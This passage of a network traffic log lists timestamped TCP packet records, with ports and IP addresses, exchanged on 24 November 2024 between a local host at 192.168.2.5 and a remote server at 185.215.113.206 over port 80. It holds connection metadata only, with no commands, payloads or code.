Nov 24, 2024 23:24:10.000976086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.001018047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.001065969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.002667904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.002724886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.002763033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.002811909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.004451036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.004511118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.004564047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.004612923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.006258011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.006309032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.006354094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.006402016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.008064985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.008116961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.008156061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.008204937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.009846926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.009907961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.009952068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.009989977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.011663914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.011708975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.011754036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.011794090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.013444901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.013497114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.013498068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.013545036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.015260935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.015316010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.015382051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.015429020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.017051935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.017100096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.017184973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.017231941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.018862009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.018907070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.019042015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.019087076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.020632029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.020683050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.020762920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.020807028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.022466898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.022524118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.022861004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.022907972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.024238110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.024286032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.024318933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.024364948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.026022911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.026072025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.026077032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.026110888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.027843952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.027889967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.027950048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.027997971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.029623985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.029685020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.029777050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.029825926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.031428099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.031486034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.031526089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.031574011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.033196926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.033252954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.051306009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.051430941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.051477909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.051507950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.052131891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.052186012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.052229881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.052278996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.053754091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.053802967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.053858995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.053906918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.055389881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.055443048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.055488110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.055533886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.057018042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.057065964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.057172060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.057219982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.058640003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.058691025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.058769941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.058820009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.060240030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.060288906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.060447931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.060498953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.062006950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.062060118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.062156916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.062205076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.063499928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.063555002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.063589096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.063637018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.065090895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.065140009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.065202951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.065251112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.066703081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.066755056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.066826105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.066875935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.068327904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.068376064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.068416119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.068470955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.069952965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.070000887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.070122004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.070180893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.071568012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.071614027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.071696997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.071744919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.073188066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.073232889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.073265076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.073312998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.074791908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.074841976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.074929953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.074976921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.076397896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.076467037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.076508999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.076560020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.128015041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.128067970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.128155947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.128218889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.128601074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.128654957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.128694057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.128740072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.130196095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.130249977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.130831957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.130884886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.130909920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.130954027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.132419109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.132489920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.132555962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.132608891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.134025097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.134109020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.134290934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.134341002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.135637999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.135698080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.135911942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.135963917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.137242079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.137290001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.137326956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.137367010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.138839960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.138891935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.138940096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.138983965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.140431881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.140481949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.140547991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.140595913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.142070055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.142117977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.142128944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.142175913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.198718071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.198769093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.198797941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.198827982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.199225903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.199280024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.199381113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.199425936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.200408936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.200454950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.200541019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.200591087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.201600075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.201652050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.201714039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.201767921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.202759981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.202811003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.202857018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.202899933 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.203958035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.204010963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.204055071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.204098940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.205127954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.205188036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.205219984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.205260992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.206290960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.206347942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.206463099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.206511974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.207473040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.207537889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.207580090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.207628965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.208659887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.208722115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.208728075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.208771944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.209841967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.209894896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.209944963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.209988117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.211030006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.211076021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.211108923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.211148024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.212210894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.212260008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.212430000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.212479115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.213380098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.213443995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.213483095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.213530064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.214605093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.214660883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.214665890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.214700937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.215738058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.215791941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.215843916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.215895891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.216936111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.216989994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.217030048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.217098951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.218110085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.218162060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.218202114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.218245029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.219443083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.219494104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.219521999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.219567060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.220458031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.220520020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.220563889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.220617056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.221671104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.221725941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.221776962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.221826077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.222830057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.222887039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.222951889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.223001957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.224026918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.224081039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.224126101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.224167109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.225179911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.225230932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.225286007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.225331068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.226356030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.226412058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.226454973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.226454973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.227545023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.227652073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.227705956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.227765083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.228694916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.228753090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.228759050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.228800058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.256980896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.257050991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.257179976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.257234097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.257554054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.257602930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.257653952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.257703066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.258730888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.258791924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.258831978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.258879900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.259922981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.259963989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.259987116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.260000944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.261137962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.261189938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.261223078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.261270046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.262274981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.262320042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.262365103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.262408018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.263438940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.263488054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.263576031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.263628006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.264695883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.264745951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.264832973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.264879942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.265851021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.265902042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.265988111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.266036987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.267010927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.267057896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.267106056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.267155886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.268210888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.268263102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.268307924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.268357038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.269351959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.269402027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.269452095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.269556046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.270550013 CET	80	49704	185.215.113.206	192.168.2.5
